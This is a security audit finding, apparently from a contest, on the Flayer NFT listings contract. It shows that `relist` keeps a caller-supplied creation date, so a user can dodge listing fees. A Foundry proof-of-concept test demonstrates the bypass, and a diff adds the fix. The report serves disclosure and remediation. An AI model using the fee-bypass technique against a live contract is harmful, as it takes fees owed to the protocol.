Wobbly Neon Hyena

Medium

# `Listings::relist` is not reseting the listing's created date, allowing users to bypass listing fees

### Summary

When creating a newly created listing, users are allowed to pass a created date, however, this is being overridden in `Listings::createListings` and is set to `block.timestamp`, which makes sense. This is done in `Listings::_mapListings`:
```solidity
function _mapListings(CreateListing calldata _createListing, uint _tokenIds) private returns (uint tokensReceived_) {
    // Loop through our tokens
    for (uint i; i < _tokenIds; ++i) {
        // Create our initial listing and update the timestamp of the listing creation to now
        _listings[_createListing.collection][_createListing.tokenIds[i]] = Listing({
            owner: _createListing.listing.owner,
            created: uint40(block.timestamp),
            duration: _createListing.listing.duration,
            floorMultiple: _createListing.listing.floorMultiple
        });
    }

    // Our user will always receive one ERC20 per ERC721
    tokensReceived_ = _tokenIds * 1 ether;
}
```
Relisting is the same as fulfilling a listing and creating a new listing in the same step, however, when relisting a listing the user is also allowed to pass a creation date. But the issue here is that `Listings::relist` is not overriding that date, unlike `Listings::createListings`.

This allows users to pass custom creation dates for their listings and manipulate the fees/refund calculation in `Listings::_resolveListingTax`, bypassing listing fees.

### Root Cause

`Listings::relist` is not resetting the created date of the newly created listing, [here](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625-L672).

### Impact

Users can bypass the listing fees.

### PoC

Add the following test in `flayer/test/Listings.t.sol`:

```solidity
function test_CanPassCustomCreatedDate() public {
    vm.warp(block.timestamp + 365 days);

    address bob = address(1);
    address alice = address(2);
    ICollectionToken collectionToken = ICollectionToken(
        locker.collectionToken(address(erc721a))
    );

    uint startBalance = 5 ether;
    deal(address(collectionToken), bob, startBalance);
    deal(address(collectionToken), alice, startBalance);

    uint256 _tokenId = 0;
    erc721a.mint(address(this), _tokenId);
    erc721a.setApprovalForAll(address(listings), true);

    // Create a normal liduid listing
    IListings.CreateListing[]
        memory _listings = new IListings.CreateListing[](1);
    collectionToken.approve(address(listings), type(uint).max);
    _listings[0] = IListings.CreateListing({
        collection: address(erc721a),
        tokenIds: _tokenIdToArray(_tokenId),
        listing: IListings.Listing({
            owner: payable(address(this)),
            created: uint40(block.timestamp),
            duration: 10 days,
            floorMultiple: 200
        })
    });
    listings.createListings(_listings);

    // Bob relicsts the listing with a custom created date
    vm.startPrank(bob);
    collectionToken.approve(address(listings), type(uint).max);
    listings.relist(
        IListings.CreateListing({
            collection: address(erc721a),
            tokenIds: _tokenIdToArray(_tokenId),
            listing: IListings.Listing({
                owner: payable(bob),
                created: uint40(block.timestamp + 8 days),
                duration: 8 days,
                floorMultiple: 120
            })
        }),
        false
    );
    vm.stopPrank();

    // Listing's created date is after 8 days
    assertEq(
        listings.listings(address(erc721a), _tokenId).created,
        uint40(block.timestamp + 8 days)
    );

    // Some time passes
    vm.warp(block.timestamp + 8 days);

    // Bob doesn't hold any balances in the escrow
    assertEq(listings.balances(bob, address(collectionToken)), 0);

    // Alice buys the listing
    vm.startPrank(alice);
    collectionToken.approve(address(listings), type(uint).max);
    uint256[][] memory tokenIdsOut = new uint256[][](1);
    tokenIdsOut[0] = new uint256[](1);
    tokenIdsOut[0][0] = _tokenId;
    listings.fillListings(
        IListings.FillListingsParams({
            collection: address(erc721a),
            tokenIdsOut: tokenIdsOut
        })
    );
    vm.stopPrank();

    // Bob holds the balance in the escrow, knowing that all tax should be paid as fees
    assertGt(listings.balances(bob, address(collectionToken)), 0.01 ether);
}
```

### Mitigation


```diff
function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
    // Load our tokenId
    address _collection = _listing.collection;
    uint _tokenId = _listing.tokenIds[0];

    // Read the existing listing in a single read
    Listing memory oldListing = _listings[_collection][_tokenId];

    // Ensure the caller is not the owner of the listing
    if (oldListing.owner == msg.sender) revert CallerIsAlreadyOwner();

    // Load our new Listing into memory
    Listing memory listing = _listing.listing;

    // Ensure that the existing listing is available
    (bool isAvailable, uint listingPrice) = getListingPrice(_collection, _tokenId);
    if (!isAvailable) revert ListingNotAvailable();

    // We can process a tax refund for the existing listing
    (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
    if (_fees != 0) {
        emit ListingFeeCaptured(_collection, _tokenId, _fees);
    }

    // Find the underlying {CollectionToken} attached to our collection
    ICollectionToken collectionToken = locker.collectionToken(_collection);

    // If the floor multiple of the original listings is different, then this needs
    // to be paid to the original owner of the listing.
    uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
    if (listingPrice > listingFloorPrice) {
        unchecked {
            collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
        }
    }

    // Validate our new listing
    _validateCreateListing(_listing);

    // Store our listing into our Listing mappings
+   listing.created = uint40(block.timestamp);
    _listings[_collection][_tokenId] = listing;

    // Pay our required taxes
    payTaxWithEscrow(address(collectionToken), getListingTaxRequired(listing, _collection), _payTaxWithEscrow);

    // Emit events
    emit ListingRelisted(_collection, _tokenId, listing);
}
```